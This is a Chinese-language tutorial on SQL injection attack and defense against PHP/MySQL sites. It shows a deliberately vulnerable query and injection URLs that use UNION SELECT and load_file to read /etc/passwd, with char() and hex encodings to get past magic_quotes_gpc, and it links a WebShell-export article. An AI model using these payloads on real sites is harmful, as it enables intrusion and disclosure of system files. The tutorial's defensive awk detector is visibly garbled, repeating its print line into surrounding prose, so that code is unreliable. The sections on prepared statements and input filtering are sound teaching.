| WebjxCom提示：程式設計師寫程式碼的時候講究TDD（測試驅動開發）：在實作一個功能前，會先寫一個測試案例，然後再寫程式碼使其運作通過。其實當駭客SQL Injection時，同樣是一個TDD的過程：他們會先嘗試讓程式報錯，然後一點一點的修正參數內容，當程式再次運作成功之時，注入也就隨之 |
程式設計師寫程式碼的時候講究TDD（測試驅動開發）：在實作一個功能前，會先寫一個測試案例，然後再寫程式碼使之運作通過。其實當駭客SQL Injection時，同樣是一個TDD的過程：他們會先嘗試讓程式報錯，然後一點一點的修正參數內容，當程式再次運作成功之時，注入也就隨之成功了。
進攻：
假設你的程式裡有類似下面內容的腳本：
$sql = "SELECT id, title, content FROM articles WHERE id = {$_GET[''id'']}";
正常訪問時其URL如下：
/articles.php?id=123
當駭客想判斷是否有SQL Injection漏洞時，最常用的方式就是在整形ID後面加個單引號：
/articles.php?id=123''
由於我們沒有過濾$_GET[''id'']參數，所以必然會報錯，可能會是類似下面的資訊：
supplied argument is not a valid MySQL result resource in ...
這些資訊就足以說明腳本存在漏洞了，我們可以再耍點手段：
/articles.php?id=0 union select 1,2,3
之所以select 1,2,3是因為union要求兩邊的字段數一致，前面是id, title,content三個字段，後面1,2,3也是三個，所以不會報語法錯誤，還有設定id=0是一條不存在的記錄，那麼查詢的結果就是1,2,3，反映到網頁上，原本顯示id的地方會顯示1，顯示title的地方會顯示2，顯示content的地方會顯示3。
到如何繼續利用，也要看magic_quotes_gpc的設定：
當magic_quotes_gpc為off時：
/articles.php?id=0 union select 1,2,load_file(''/etc/passwd'')
一來，/etc/passwd檔案的內容就會顯示在原本顯示content的地方。
當magic_quotes_gpc為on時：
此時如果直接使用load_file(''/etc/passwd'')就無效了，因為單引號被轉義了，但是還有辦法：
/articles.php?id =0 union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))
其中的數字就是除字串此以為，也可以使用字串的十六進位：字串每個字元循環輸出dechex(ord(...))
/articles.php?id=0 union select 1,2,load_file(0x2f6574632f706173737764)
這裡僅僅說了數字型參數的幾種攻擊手段，屬於冰山一角，字串型參數等攻擊手段看後面的文檔連結。
防禦：
網路上有一些類似SQL Injection Firewall的軟體可供使用，比如說GreenSQL，如果網站已經開始遭受SQL Injection攻擊，那麼使用這樣的快捷工具往往會救你一命，不過這樣的軟體在架構上屬於一個Proxy的角色，多半會影響網站並發效能，所以在選擇與否這個問題上最好視客觀條件來慎重決定。很多時候專業的軟體並不是必須的，還有很多輕量級解決方案，以下示範如何使用awk來偵測可能的漏洞。
建立detect_sql_injection.awk腳本，內容如下（如果要拷貝一下內容的話記得不要包含行號）：
01 #!/bin/gawk -f
02
03 /$_(GET|POST|COOKIE|REQUEST)s *[/ {
04 IGNORECASE = 1
05 if (match($0, /$.*(sql|query)/)) {
06
08 next
09 }
10 }
11
12 function output()
13 {
14 $1 = $1
15 print "CRUD: " $0 "nFILE: " FILENAME "nLINE: " FNRNR "print "CRUD: " $0 "nFILE: " FILENAME "nLINE: " FNRNR " print "CRUD: " $0 "nFILE: " FILENAME "nLINE: " FNRNR "n"可符合此腳本的問題，想要擴展匹配模式也容易，只要照貓畫虎寫if match語句即可。
1：$sql = "SELECT * FROM users WHERE username = ''{$_POST[''username'']}''";
2：$res = mysql_query("SELECT * FROM users WHERE username = ''{ $_POST[''username'']}''");
使用前別忘了先chmod +x detect_sql_injection.awk，有兩種呼叫方法：
1：./detect_sql_injection.awk /path/to/php/ script/file
2：find /path/to/php/script/directory -name "*.php" | xargs ./detect_sql_injection.awk
會把有問題的程式碼資訊顯示出來，樣子如下：
CRUD: $sql = "SELECT * FROM users WHERE username = ''{$_POST[''username'']}''";
FILE: /path/to/file.php
LINE: 123
現實環境中有很多應用這個腳本的方法，比如說透過CRON定期掃描程式原始文件，或是在SVN提交時透過鉤子方法自動匹配。
使用專業工具也好，檢測腳本亦罷，都是被動的防守，問題的根本始終取決於在程式設計師頭腦裡是否有必要的安全意識，以下是一些必須要牢記的準則：
1：數字型參數使用類似intval，floatval這樣的方法強制過濾。
2：字串型參數使用類似mysql_real_escape_string這樣的方法強制過濾，而不是簡單的addslashes。
3：最好拋棄mysql_query這樣的拼接SQL查詢方式，盡量使用PDO的prepare綁定方式。
4：使用rewrite技術隱藏真實腳本及參數的訊息，透過rewrite正規也能過濾可疑的參數。
5：關閉錯誤提示，不給攻擊者敏感資訊：display_errors=off。
6：以日誌的方式記錄錯誤訊息：log_errors= />7：不要用具有FILE權限的帳號（例如root）連接MySQL，這樣就屏蔽了load_file等危險函數。
8：......
網站安全其實並不複雜，總結出來就是一句話：過濾輸入，轉義輸出。其中，我們上面一直討論的SQL Injection問題就屬於過濾輸入問題，至於轉義輸出問題，其代表是Cross-site scripting，但它不屬於本文的範疇，就不多說了。
文件：
addslashes() Versus mysql_real_escape_string()
SQL Injection with MySQL
Advanced SQL Injection with MySQL
MySQL注入中導出欄位內容的研究—透過注入導出WebShell com/Cont-328.html
以上就介紹了HP+MYSQL網站SQL Injection攻防，包含了方面的內容，希望對PHP教學有興趣的朋友有幫助。
